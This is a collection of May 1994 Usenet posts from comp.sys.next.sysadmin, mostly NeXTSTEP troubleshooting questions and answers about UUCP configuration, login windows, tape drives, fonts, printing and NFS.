bm10009 console Thu 2pm10days -
bm10009 ttyp1 Fri 9am -tcsh
% last reboot
reboot ~ Thu May 12 14:07
Thanks,
Ben.
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 'w' gives weird idle time
Date: 14 May 1994 12:19:41 GMT
Organization: San Francisco State University
Message-ID: <2r2fkt$sa@nic-nac.CSU.net>
References: <2r24l5$ei4@lyra.csx.cam.ac.uk>
In article <2r24l5$ei4@lyra.csx.cam.ac.uk>
bm10009@a6-hct.acad.cai.cam.ac.uk (Ben Moseley) writes:
>Is this was a known bug or am I missing something? - I've never seen any
>mention of it on c.s.n.b.
>
>('w' gives idle time of 10 days when system has only been up for two. -
>The commands were issued Sat May 14)
"That's not a bug--it's a feature." [And a FAQ.]
Idle time is supposed to indicate the last time _input_ occurred
on a tty device, so /dev/console's idle time should reflect the
last time anything was actually read from /dev/console. What
you're missing is that loginwindow+Workspace *never* read from
/dev/console, so the idle time is simply based on /dev/console's
inode access time--which survives reboots.
If you were to type "console" to the loginwindow and log in on
the true UNIX console device, everything would work the way you'd
expect.
There are some login hooks on the archives that "fraudulate"
/dev/console's access time.
-=EPS=-
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Installation Show Stopper: DELL P60/90+ AHA-1540cf/1542cf BIOS v.2.01
Date: 14 May 1994 17:26:43 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2r31kj$q9l@news.mic.ucla.edu>
References: <2qq1i3$30d@email.tuwien.ac.at>
I just received my new DELL P60/90, and I am trying to install NS on the
IDE drive. I only have 1 external device, the CD-ROM on the adaptec, as id
#6, and have partitioned the IDE disk into a 200MB DOS volume (I know this
large a partition is not usable for NS).
So, I got through the NS installation part where I confirm that I want new
NS installed in English and on the 315MB remainder of the IDE drive. It
installs for a while, until I get the following error message(s):
root on sd0
rootdev 600, howto 0
/private/tmp/mnta: bad dir ino 10245 at offset 0: mangled entry
/private/tmp/mnta: bad dir ino 10245 at offset 0: mangled entry
/private/tmp/mnta: bad dir ino 10245 at offset 0: mangled entry
/private/tmp/mnta: bad dir ino 10245 at offset 0: mangled entry
..
mode=04353 inum=12294 fs=/provate/tmp/mnta
panic: (CPU 0) ialloc: dup alloc
panic: NeXT Mach 3.2 ...
Kernel Panic Exception (6,3,1)
I have of course checked my Adaptec settings, which were correct, but my
hunch is that the IDE drive is at fault, not the SCSI adapter.
Unfortunately, I did not find archives on this newsgroup on cs.orst.edu to
check if someone else had the same problem.
On Monday, I will contact DELL for more information---I will post the
answer as soon as I get it, either from a reader from this group or from
DELL itself.
Thanks for any relevant information.
/ivo
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
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From: westes@netcom.com (Will Estes)
Subject: UUCP: L.cmds and L.aliases
Message-ID: <westesCptH94.68@netcom.com>
Organization: Mail Group
Date: Sat, 14 May 1994 23:58:15 GMT
Several UUCP questions:
1) Let us say that we maintain two mail domains:
domain2.domain1.com
and
domain1.com
and let us say that both domains have their own Internet MX record.
When someone from domain1.com sends mail to domain2.domain1.com I
would like for that mail to get correctly routed outside of our
domain to our Internet service provider, who will then send it to
the appropriate place for domain2.domain1.com.
What happens now instead is that our NeXTSTEP 3.2 FIP system tries
to find a local host named domain2 within domain1.com and then
bounces the mail.
Can I use the UUCP configuration file L.aliases to do this routing?
How would I do it? Example:
netcomsv!domain2.domain1.com domain2
does NOT work on our system?
2) The bottom of my L.cmds states:
# These next programs are security holes
lpr
who
uusend
finger
Which of these commands can I safely comment out without affecting
UUCP's ability to run?
Would the answer to either of the above be different if I am running
Taylor UUCP?
--
Will Estes Internet: westes@netcom.com
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From: westes@netcom.com (Will Estes)
Subject: Taylor Question
Message-ID: <westes.16.00123505@netcom.com>
Sender: netnews@netcom.com (USENET Administration)
Organization: U.S. Computer
Date: Sun, 15 May 1994 02:12:18 GMT
After installing Taylor UUCP 1.04 per the examples given in Bernard Aboba's
excellent overview at World Wide Web:
file://ftp.netcom.com/pub/mailcom/internaut/taylor.html
attempts to send mail out of the system result in sendmail bouncing the mail
with this error in the header:
uux: netcomsv: system not found
There is definitely a /usr/local/lib/uucp/sys file with the keywords:
system netcomsv
at the top. So I am not understanding why uux would not find the system.
Any ideas on possible causes for this error?
--
Thanks,
Will Estes Internet: westes@netcom.com
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From: cousens@biztech.com
Subject: Re: Custom Login Window
Message-ID: <1994May15.060906.23376@biztech.com>
Sender: news@biztech.com
Organization: Biztech, Inc.
References: <2qscpq$4kq@mailer.fsu.edu>
Date: Sun, 15 May 1994 06:09:06 GMT
Steve,
the tiff image that's used is
/usr/lib/NextStep/loginwindow.app/LoginPanel.tiff. If you want to
replace the image...as root, you need to dwrite loginwindow ImageFile
path_to_tiff_image. The default image is 462 X 260. The textField
image that is composited over the window is 329 X 63, but I haven't
figured out what the location is.
Good luck,
Rik (cousens@biztech.com)
-- NewsGrazer, a NeXTstep(tm) news reader, posting --
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From: cousens@biztech.com
Subject: Re: Q: making machine single user boot again
Message-ID: <1994May15.061531.23436@biztech.com>
Sender: news@biztech.com
Organization: Biztech, Inc.
References: <1994May10.223614.4750@seer.demon.co.uk>
Date: Sun, 15 May 1994 06:15:31 GMT
Anand,
Try Paul Lynch's suggestion first. If that's not sufficient,
there's an entry about this in the SysAdmin manual that says...
DefaultUser username Designates the default user (if this
option isn't used, me is the default user). If the default user has
no password, loginwindow automatically logs that user in without
requesting a password when the computer is booted.
so, to apply your change, su, and dwrite loginwindow DefaultUser me.
I haven't tried this myself, so I can't vouch for the effectiveness
of this, but I have messed around with the ImageFile, LoginHook, and
LogoutHook and they work....
Good luck,
Rik (cousens@biztech.com)
-- NewsGrazer, a NeXTstep(tm) news reader, posting --
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From: anderson@macc.wisc.edu (Jess Anderson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Custom Login Window
Date: 15 May 1994 13:11:14 GMT
Organization: Division of Information Technology, UW-Madison
Message-ID: <2r571i$rql@news.doit.wisc.edu>
References: <2qscpq$4kq@mailer.fsu.edu> <1994May15.060906.23376@biztech.com>
In article <1994May15.060906.23376@biztech.com>,
<cousens@biztech.com> wrote:
>the tiff image that's used is
>/usr/lib/NextStep/loginwindow.app/LoginPanel.tiff. If you want to
>replace the image...as root, you need to dwrite loginwindow ImageFile
>path_to_tiff_image. The default image is 462 X 260. The textField
>image that is composited over the window is 329 X 63, but I haven't
>figured out what the location is.
You can find evidence for all that (applying to NS 3.1 and 3.2)
by anonymous ftp from me at yak.macc.wisc.edu [144.92.30.18],
directory pub/next/images/logintiffs/3.1, file
about_login_tiffs.tar.Z. There are also quite a few images
there, also, as well as an other directory of 3.0 images.
--
<> Diversity via exclusion, as it were. I'll have to file that
<> one away with fucking for virginity.
<> -- Eric Holeman
--
Opinions expressed herein have no connection with the UW-Madison.
Jess Anderson anderson@doit.wisc.edu
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From: westes@netcom.com (Will Estes)
Subject: Question on Taylor UUCP Makefile
Message-ID: <westesCpuwoL.F2r@netcom.com>
Organization: Mail Group
Date: Sun, 15 May 1994 18:29:09 GMT
The Makefile for Taylor UUCP 1.04 contains the following section:
# If you do not have the mkdir system call, undefine the following three
# lines. This will install uudir as an suid root program. This is
# necessary because invoking /bin/mkdir from an suid program will
# leave the directories owned by the wrong user.
# UUDIR = uudir
# uudirdir = $(sbindir)/util
# UUDIRFLAGS = -DUUDIR_PROGRAM=\"$(uudirdir)/$(UUDIR)\"
For a NeXTSTEP 3.2 FIP system, do I need to undefine these three
lines? I couldn not find a mkdir as a system call.
--
Will Estes Internet: westes@netcom.com
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From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: Re: Can't see tape
Message-ID: <1994May15.184137.279@vlsi.polymtl.ca>
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
References: <2r0u78$esm@nntp2.Stanford.EDU>
Date: Sun, 15 May 1994 18:41:37 GMT
With configure.app , just install in other devices the SCSI Tape driver
(Add it)
then reboot!
Patrick L. Nolan (pln@egret0.Stanford.EDU) wrote:
: The trials of a new NeXT administrator. Actually, it's an Intel 486
: with NS 3.2. Since things seem to be fairly stable I decided to do
: my first backup to the Archive 525 MB tape. But dump tells me that
: /dev/rst? doesn't exist for several choices of device number.
: Also mt tells me the same thing. The special files exist in /dev,
: so that's not the problem.
: In the early stages of booting, a message appears telling of the
: controller, disk, and tape. But later, when all the "registering"
: messages come, there is no mention of the tape. It doesn't seem
: to be visible. Also in the Configure.app there is no entry for
: tape devices. What can I do?
: --
: * Patrick L. Nolan (415)723-0133 *
: * W. W. Hansen Experimental Physics Laboratory (HEPL) *
: * Stanford University *
: * Bitnet: PLN@SLACVM Internet: pln@egret0.stanford.edu *
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From: "Kharim Hogan" <kharim@cs.indiana.edu>
Subject: Re: Does YP from NS3.2 work properly ?
Message-ID: <1994May15.213320.6239@news.cs.indiana.edu>
Organization: Computer Science, Indiana University
References: <1994May12.185341.4565@sifon.cc.mcgill.ca>
Date: Sun, 15 May 1994 21:33:17 -0500
In article <1994May12.185341.4565@sifon.cc.mcgill.ca>,
Alain Terriault -- EMS Technician <emstech@music.mcgill.ca> wrote:
>
>ps: Salut Kharim :-)
;^)
Kharim
Newsgroups: comp.sys.next.sysadmin,comp.mail.uucp
From: clewis@ferret.ocunix.on.ca (Chris Lewis)
Subject: Re: UUCP: L.cmds and L.aliases
Message-ID: <CpvtIu.Bq8@ferret.ocunix.on.ca>
Date: Mon, 16 May 1994 06:18:30 GMT
References: <westesCptH94.68@netcom.com>
Organization: Elegant Communications Inc.
In article <westesCptH94.68@netcom.com>, Will Estes <westes@netcom.com> wrote:
|Several UUCP questions:
|
|1) Let us say that we maintain two mail domains:
| domain2.domain1.com
|and
| domain1.com
|
|and let us say that both domains have their own Internet MX record.
|
|When someone from domain1.com sends mail to domain2.domain1.com I
|would like for that mail to get correctly routed outside of our
|domain to our Internet service provider, who will then send it to
|the appropriate place for domain2.domain1.com.
|
|What happens now instead is that our NeXTSTEP 3.2 FIP system tries
|to find a local host named domain2 within domain1.com and then
|bounces the mail.
|Can I use the UUCP configuration file L.aliases to do this routing?
No. This is a mailer configuration issue, not UUCP. You have to get
your MTA (sendmail?) to do this.
|
|2) The bottom of my L.cmds states:
|
|# These next programs are security holes
|lpr
|who
|uusend
|finger
|Which of these commands can I safely comment out without affecting
|UUCP's ability to run?
All of them. The only command that matters is "rmail".
|Would the answer to either of the above be different if I am running
|Taylor UUCP?
Nope.
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Phone: Canada 613 832-0541 Ferret list: ferret-request@ferret.ocunix.on.ca
Latest psroff: FTP://ftp.uunet.ca/distrib/chris_lewis/psroff3.0pl17/*
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From: westes@netcom.com (Will Estes)
Subject: cancel <westesCpuwoL.F2r@netcom.com>
Message-ID: <westesCpvvF1.3r2@netcom.com>
Organization: Mail Group
Date: Mon, 16 May 1994 06:59:24 GMT
Article cancelled from within tin [v1.2 PL1]
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From: westes@netcom.com (Will Estes)
Subject: cancel <westesCpuwoL.F2r@netcom.com>
Message-ID: <westesCpvvH6.3uD@netcom.com>
Organization: Mail Group
Date: Mon, 16 May 1994 07:00:42 GMT
Article cancelled from within tin [v1.2 PL1]
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: Question on Taylor UUCP Makefile
Date: 16 May 1994 07:55:54 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94May16085554@steffi.demon.co.uk>
References: <westesCpuwoL.F2r@netcom.com>
To: westes@netcom.com (Will Estes)
In-reply-to: westes@netcom.com's message of Sun, 15 May 1994 18:29:09 GMT
<westes@netcom.com> writes:
>The Makefile for Taylor UUCP 1.04 contains the following section:
># If you do not have the mkdir system call, undefine the following three
># lines. This will install uudir as an suid root program. This is
># necessary because invoking /bin/mkdir from an suid program will
># leave the directories owned by the wrong user.
># UUDIR = uudir
># uudirdir = $(sbindir)/util
># UUDIRFLAGS = -DUUDIR_PROGRAM=\"$(uudirdir)/$(UUDIR)\"
>For a NeXTSTEP 3.2 FIP system, do I need to undefine these three
>lines? I couldn not find a mkdir as a system call.
Put it this way...
man 2 mkdir
MKDIR(2) UNIX Programmer's Manual MKDIR(2)
NAME
mkdir - make a directory
SYNOPSIS
#include <sys/types.h>
#include <sys/stat.h>
int mkdir(const char *path, mode_t mode);
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"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
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From: tommi@balou.rhein.de (Thomas Pfleiderer)
Subject: Documentation of Dimension-Board
Message-ID: <1994May16.062202.3963@balou.rhein.de>
Sender: tommi@balou.rhein.de
Organization: private NeXT
Date: Mon, 16 May 94 06:22:02 GMT
Hi,
does anybody have some printed information about
the NeXTDimension-Board?
Please point me in the right direction where to find it.
Thanks, tommi
------
Thomas Pfleiderer
tommi@balou.rhein.de
voice/fax: +49 2225 701332
NeXT-Mail appreciated.
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: Fonts that kill the windowserver
Date: 16 May 1994 12:42:35 GMT
Organization: Brown University
Message-ID: <2r7pnr$a80@cat.cis.Brown.EDU>
OK, I give up. For more than a year now, I have had a problem with corrupt
fonts that fail to turn up in the font panel, corrupt fonts that do turn up
but only appear as Helvetica-12, corrupt fonts that turn up as blanks, and
(most frustrating) fonts that are sometimes fine and sometimes behave like
the corrupt ones. There has been a tantalizing near-pattern to this
madness (for example, I can use either LeftyCasual or LiquidCrystal, but if
I use both the second one almost always turns up blank...also, once one
font comes up as Helvetica-12, so will dozens of others, often the same ones),
but since I was CERTAIN that some of the fonts were actively corrupted, I
was willing to put up with some flakiness.
No more. I downloaded fresh copies of all the freeware fonts I have ever
owned, and verified them one at a time with FontLister and TypeView, doing
a reboot of my machine every time things got flaky. Now I can confirm that
every font on my machine (nearly 300 of them) is intact enough to work by
itself. But they STILL don't all work together. When I try to make a
fontpourri page with a sample of all 300, the windowserver dies, logging
me out unceremoniously. This doesn't always happen at the same font, but
I do have one clue. If I have the (apparently intact and usable) fonts
Aachen-Bold or Tribeca, this will happen on about the fourth or fifth font,
whereas if I take those two off the machine I can get through about eighty
or ninety fonts, into the H's.
Under ``real'' conditions (asking for random fonts, but usually no more than
twenty of them in any single week), the Helvetica-12-instead-of-font syndrome
still recurs from time to time, but I have only been actually killed and
logged out once in a blue moon since I got rid of the fonts that were
genuinely corrupt, and always when I was using a lot of fonts at once for
some reason. I realize that having hundreds of junkware fonts lying around
is not a ``mission-critical'' requirement for me or anyone else, but at this
point I am unwilling to get rid of any of them for purely superstitious
reasons. I want to know what is going on first.
I'm running vanilla NS 2.1, but this problem has been with me since 1.0 days.
The only font-related thing I can think of that I've modified is to install
NeXTanswers' FixFontBug hack, which deletes the user's own afmcache when he
logs out (this fixes an old memory deallocation problem, as discussed in
workspace.704). I don't think this has anything at all to do with the
problem, but I thought I'd better mention it.
I vaguely remember seeing, years ago, some comment about Ohlfs causing
subtle and unreproduceable font trouble because its UniqueID is 2, which is
a small number and causes some sort of collision. I can't find the comment
in any of TFM's, but I'm thinking that it might be a place to start if
anyone remembers what the story was.
Failing that, is there ANYONE who has most of the NeXT freeware fonts in the
world, and can print, or even preview, them on one giant fontpourri page
without losing the windowserver? Is there anyone who CAN'T and understands
the problem? I'm grasping at straws here....
Give me two noncommuting |=====================================================
reflections, and I shall | Joshua W Burton (401)435-6370 burton@het.brown.edu
move the world.--J.Propp |=====================================================
From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.misc
Subject: Next-friendly WAIS clients & servers?
Date: Mon, 16 May 94 14:20:21 BST
Organization: EUnet GB
Message-ID: <2r7rsa$ld7@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi all-
Does anybody know of a NeXT client for WAIS? How about WAIS server software?
This is for 3.2 on white.
Thanks for any leads...
C.
From: joisha@bodhi.esys.cwru.edu (Prashanth Joisha)
Newsgroups: comp.sys.next.sysadmin
Subject: Connecting Sun Sparc to Next Network
Date: 16 May 1994 14:44:03 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2r80rj$mgm@usenet.INS.CWRU.Edu>
Hi Folks,
We are trying to connect a Sun Sparc to our network (Bus Type)
consisting of Next BlackBoxes and Intel 486 machines. I would like
you to give me a quick overview of configuring a sun machine (like
defining hostname, ip address, bringing it into the network etc.). Giving
me details of where I could find such information in manuals would also
be appreciated.
After connecting this machine to the network we plan to install
sybase server. I am familiar with configuring a Next Blackbox as a sybase
server but I am not sure how do this on a Sun machine. Could anyone of
you who has gone through this tell the files that I have manipulate on the
server(Sun) and on the client (Intel 486).
Just for those of you not sure what I have in my mind.... We are
trying to have sybase server running on Sun Sparc and our application
running on 486 client machine (running NSFIP 3.2).
Thanks for your time
Regards,
G.Prashanth Joisha
From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't see tape
Date: 16 May 1994 16:55:41 GMT
Organization: Stanford University
Message-ID: <2r88id$gsu@nntp2.Stanford.EDU>
References: <2r0u78$esm@nntp2.Stanford.EDU> <1994May15.184137.279@vlsi.polymtl.ca>
Jean-Marc Heneman (jmh@info.polymtl.ca) wrote:
: With configure.app , just install in other devices the SCSI Tape driver
: (Add it)
: then reboot!
That was it. I confess to being a bonehead. I had the Configure/Other
menu on the screen. I got discouraged because SCSI tape wasn't one
of the options listed. I just had to click the Add button to get
a list of other devices ready to be installed. It works fine now.
By the way, what's the mapping between SCSI address and device
number? On my machine, st0 is SCSI 2, sd0 is SCSI 0, and sd1 is
SCSI 5. Is this documented somewhere?
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: Help needed; system panic in the middle of the night
Message-ID: <Cpv0Gy.G7@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <2qt8ls$r2c@penage.cs.laurentian.ca>
Date: Sun, 15 May 1994 19:50:57 GMT
In article <2qt8ls$r2c@penage.cs.laurentian.ca> andre@gollum.phys.laurentian.ca (Andre Roberge)
writes:
> For the past three days, I've been getting to work only to see my NeXT in
> a state of panic... Below is a typical sample of what is recorded in
> /adm/messages
> ------------------------------------------------
> May 9 16:25:31 gollum -[157]: loginwindow: Workspace exited ts 0 cd 0 rc
> 0 sv 0 ss 0.
> May 10 02:01:36 gollum mach: dev = 0x600, ino = 224, fs = /
> May 10 02:01:36 gollum mach: panic: (Cpu 0) ifree: freeing free inode
> May 10 02:01:36 gollum mach: NeXT ROM Monitor 2.5 v66
> May 10 02:01:38 gollum syslogd: going down on signal 15
> May 10 07:35:35 gollum mach: Killing all processes
> ------------------------------------------------
>
> Any idea at what might cause this? I have a CD-ROM drive and a
> Bernouilli box connected to my workstation (Black) running 3.0.
Sounds like one of those periodic things might cause the hickups.
Take a look at your crontab and crontab.local files to detect programs run at the given time.
Then further investigate these.
Juergen
---
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Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== What time do we live in when all the word 'revolution' makes you think of
== is a new generation of soap powder ?
From: kmagnusson@palladium.zinc.com (Kristopher Magnusson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Novell REALLY REALLY SLOW
Date: 16 May 1994 18:44:48 GMT
Organization: Zinc Software Incorporated
Distribution: world
Message-ID: <2r8ev0$dql@chromium.zinc.com>
References: <2qr5jp$7t4@hamblin.math.byu.edu>
In article <2qr5jp$7t4@hamblin.math.byu.edu> sean@zapotec.math.byu.edu
(Sean O. Luke) writes:
> I've noticed to major bugs in NeXTSTEP 3.2, and I'm sure they've
> been noticed before on _some_ users' system, so I'm posting to
> see if I could get some help.
>
> 1) I'm using a Microsoft serial mouse (I know, I know), and an
> Intel system (a System E straight _from_ Intel). The Workspace
> Manager seems to be having a really bad time with clicking on icons
> and drag-and-drop. Namely, double-clicking on an icon freaks it out,
> and drag-and-drop no longer work. It might have something to do with
> the evil serial mouse driver, but I don't think so.
>
> 2) Novell services are SO SLOW AS TO BE UNUSABLE!!!! Contrast this
> to my coworkers who have no problem at all accessing the exact same
> network at blinding speed in Windows. This is unacceptable. Can anyone
> tell me why it would take a full minute to open a directory containing
> three files on an underutilized Novell server?
>
> +---------------------------------------------------------+
> | Sean Luke This signature no verb |
> | sean@digaudio.byu.edu ,,, |
> | sean@zapotec.math.byu.edu (o o) ??? in September |
> +------------------------oOO--(_)--OOo--------------------+
Poor network performance might be merely a slow Ethernet card. Are you
using an Intel EtherExpress 16, an SMC, or a 3Com card? Is access to
Dynix's TCP/IP network also poor? If so, you might want to look into some
other card. NetWare works great on my DECpc XL 560 running NEXTSTEP 3.2,
with an Intel EtherExpress 16TP.
When I first loaded NEXTSTEP on my machine, it became corrupted, and
accessing NetWare would hang my machine at boot time--as would everything
else, like mounting remote filesystems, etc. I ended up reinstalling . . .
and now it works flawlessly. You may want to consider reinstalling as
well.
---
Kristopher Magnusson Zinc Software Incorporated
kmagnusson@zinc.com Technical Publications
+1 801 785 8900 Pleasant Grove, UT
------------------------------------------------------------------
I used to be a FUNDAMENTALIST, but then I heard about the
HIGH RADIATION LEVELS and bought an ENCYCLOPEDIA!
From: stef@rs1.Theo-Phys.Uni-Essen.DE (Stefan Ried)
Newsgroups: comp.sys.next.sysadmin
Subject: AltGr with co-Xist Intel
Date: 16 May 1994 18:52:57 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <2r8fe9$31d7@info2.rus.uni-stuttgart.de>
Keywords: x-server
Hi,
i have problems with mapping a german PC-keyboard to
the co-Xist X-server. Simple things like changing keys
can be done with xmodmap like on any X-system.
But I found no way to get the at-sign on AltGr+Q for
example.
thanks
stef
university of essen, frg
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat)
Newsgroups: comp.sys.next.sysadmin
Subject: rmail throws away my messages!
Date: 16 May 1994 14:20:59 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9405161910.AA01801@flexus>
LS,
I have sent a message to this group before, but I got no answer.
I have experienced several times (by looking inside the spool directories),
that /bin/rmail fails for incoming messages, and, instead of sending postmaster
a diagnostic message, just does exit(1), as evident from this message:
>From uucp Sat May 14 10:29:57 1994 remote from flexus
Received: by flexus (NX5.67d/NX3.0M.flexus.1994-03-17)
id AA00507; Sat, 14 May 94 10:29:57 +0200
Date: Sat, 14 May 94 10:29:57 +0200
From: <flexus!uucp>
Message-Id: <9405140829.AA00507@flexus>
To: maze!daemon
Subject: uuxqt cmd (rmail rfschtkt ) status (signal 0, exit 1)
where maze is my mail relay. The message itself is lost (deleted by
uuxqt/rmail?). Previously, I thought I knew when to expect things like this
(for answers from a ftp-to-mail gateway I tend to use), and I could
(tediously), save these messages out of the incoming queues before they were
destroyed; but it happened again and I have not used this gateway.
Does anyone know a solution? Source for rmail that I can inspect/adapt and
compile? Does rmail on any other OS throw messages away like this? Please reply
to my e-mail address, as I don't receive this newsgroup.
Thanks,
Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium
(real, i.e., with triangle in the Deliver button) NeXTmail preferred
Addressing limitations: no !, % or .uucp (? I should test this again)
From: rencsok@convex.cl.msu.edu (randal rencsok)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Anyone using Transsys SLIP on annex server?? HELP!
Date: 16 May 1994 21:17:53 GMT
Organization: Michigan State University
Message-ID: <2r8nu1$gss@msuinfo.cl.msu.edu>
Keywords: Transsys, SLIP, ANNEX
Hello,
I have been trying to get Transsys SLIP package to work for a while. I can
ping remote hosts. The nameserver seems to be working fine but I can't telnet
sucessuflly anywhere, nor use ftp etc.
I was wondering if anyone out there was using Transsys SLIP ver 920904
on Motorola AND going through a ANNEX server that dynamically allocates
your IP address and it's server address. I basically would like to
see someones sucessful /etc/rc, /etc/rc.local, /usr/dialupip/config/
config.slip, /uar/dialupip/config/rc.slip, and /usr/dialupip/config/
login-annex.tcl files. I'd prefer a system with a local ethernet
network enabled, but at this point don't care whether it's a standalone
or networked.
Anyone who has a sucessful setup feel free to send copies of the
above files. I would also like ot see the results of a netstat -in
and netstat -ar or the like..
Barring that I tried to send e-mail to info@transsys.com with no luck..
They are not listed in the phone book in laurel MD. So if anyone has
Louis Mamakos's address or a viable Transsys address or phone number
I'd greatly appreciate it. I've been dinking with this for a couple
of months now and can't seem to get beyond ping.. BTW to all who
responded to my message on comp..ppp I've tried enabling CSLIP but
either it's not working (no message either way) or that is not the problem..
Thanks,
Randy Rencsok
rencsok@convex.cl.msu.edu (ascii only till I get slip up!!)
.
Newsgroups: comp.sys.next.sysadmin
From: khan@ica.philips.nl (Osman Khan)
Subject: Using A4 with Apple Personal Laserwriter NTR
Message-ID: <1994May16.211140.18637@ica.philips.nl>
Summary: How to print on A4 with Apple Laserwriter NTR
Keywords: A4, Laserwriter, NTR
Organization: Philips Consumer Electronics, Eindhoven, The Netherlands
Date: Mon, 16 May 1994 21:11:40 GMT
Hello Next Administrators,
This may be a dumb question - but I cannot find the answer in the
online docs.
I have recently purchased an Apple Personal Laserwriter NTR and
connected to my NeXT but cannot get the device to print on A4.
I have changed the PPD file to say default that the default page is A4
(instead of letter as shown in enclosure 1) and re-created the queue
expecting that the PPD file would be used to send an initial sequence
to the printer. I then created a document with page layout A4 - on
printing I get a message from the printer daemon:
Your print request couldn't be printed. Make sure that ist paper size
and other options match the printer's configuration.
On resetting the pagesize to letter - the document does get printed.
Can someone help in explaining how I change the printers
configuration? I am using NextStep 3.2 on a Cube.
Thanks for your help.
Osman Khan
----------------------------------------------------------------------
Enclosure 1: Difference Changed PPD files
% diff Apple_Personal_LaserWriter_NTR.ppd
Apple_Personal_LaserWriter_NTR.ppd.orig
87c87
< *DefaultPageSize: A4
---
> *DefaultPageSize: Letter
129c129
< *DefaultPageRegion: A4
---
> *DefaultPageRegion: Letter
153c153
< *DefaultImageableArea: A4
---
> *DefaultImageableArea: Letter
174c174
< *DefaultPaperDimension: A4
---
> *DefaultPaperDimension: Letter
--
osman khan, philips advanced communication enterprise (pace)
building sfj-2, postbox 218, 5600 md eindhoven, the netherlands
tel: +31-40-736687
fax: +31-40-735103
From: lmccullo@nyx10.cs.du.edu (Michael McCulloch)
Newsgroups: comp.sys.next.sysadmin
Subject: Root domain NFS mounts -- a no no on Intel?
Date: 16 May 1994 20:59:10 -0600
Organization: /usr/lib/news/organi[sz]ation
Distribution: w
Message-ID: <2r9btu$ds5@nyx10.cs.du.edu>
We have some network problems with our NetInfo server, and I hope
someone out there has some suggestions.
We just purchased a DEC 566XL PC and switched our NetInfo server
from a NeXTstation to the PC. Before the switch, our 2 GB server
disk was the boot disk for the NeXTstation. The user accounts were
configured like so:
/users/...
which was /Net mounted in the root domain to all machines.
Well, we thought we'd be slick, so when we moved the disk to our
new PC, we used the internal 1 GB as the boot disk, and the 2 GB
disk as a "/UserDisk". We created the fstab entry for the 2 GB
disk. Now instead of mounting to /Net, we mounted /UserDisk/users
to /users in the root domain (i.e. every machine mounts this
directory, including the server).
This seemed to function fine until this morning. We had 3 crashes
which occurred while trying to write (as root) to directories that
were NFS exported from and mounted to the server. The machine would
just lock solid, so the only option was the reset button. The crashes
only happened when writing from the server machine itself. The habit
of mounting directories in the root domain, which results in the
NetInfo server mounting directories to itself, worked in the past
(and was even suggested by NeXT). Are these crashes (which provide
no messages as to the cause) a bug on Intel or is it something with
a 2 GB disk and the Adaptec 1542C we are using?
Clueless and very frustrated...
--
Michael McCulloch
michael@hsv.tybrin.com (NextMail Accepted!)
Huntsville, Alabama
Newsgroups: comp.sys.next.sysadmin
From: gap (Gernot A. Pohl)
Subject: DOS time client??
Message-ID: <1994May16.174800.2274@utata.wy.in-berlin.de>
Sender: grisu@utata.wy.in-berlin.de (Gernot Armin Pohl)
Organization: YW
Date: Mon, 16 May 1994 17:48:00 GMT
Did anyone heard of a time client on a DOSmachine within a NeXTnet?
possible?
--
.. viel Spasz!
> Grisu grisu@utata.wy.in-berlin.de
\_/ alt.: grisu@uriela.in-berlin.de
Gernot A. Pohl
Newsgroups: comp.sys.next.sysadmin
From: hans@tms-gmbh.de(Hans Stoeger)
Subject: Re: Using A4 with Apple Personal Laserwriter NTR
Message-ID: <Cpy4tq.19A@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <1994May16.211140.18637@ica.philips.nl>
Date: Tue, 17 May 1994 12:17:49 GMT
In article <1994May16.211140.18637@ica.philips.nl> khan@ica.philips.nl
(Osman Khan) writes:
> Hello Next Administrators,
>
> This may be a dumb question - but I cannot find the answer in the
> online docs.
>
> I have recently purchased an Apple Personal Laserwriter NTR and
> connected to my NeXT but cannot get the device to print on A4.
Format-Page Layout and now select the A4 Paper
You print what you select!!
Hope it helps
Hans
From: kruppa@pcl12.wiwisem.wirtschaftswissenschaft.uni-tuebingen.de (Stephan Kruppa)
Newsgroups: comp.sys.next.sysadmin
Subject: Tar
Date: 17 May 1994 12:22:31 GMT
Organization: InterNetNews at ZDV Uni-Tuebingen
Message-ID: <2racu7$gpc@infoserv.zdv.uni-tuebingen.de>
I've problems using the original tar command. As documented it cannot
handle pathnames longer than 100 charakters. So I tried gnu tar. I got an
uncompiled version from a ftp-site, but I did not get it compiled. Maybe
someone can send me a compiled version or can at least tell me how to set
the right flags!
--
Stephan Kruppa
Universitaet Tuebingen
Lehrstuhl fuer Wirtschaftsinformatik
Nauklerstra e 47
72074 Tuebingen
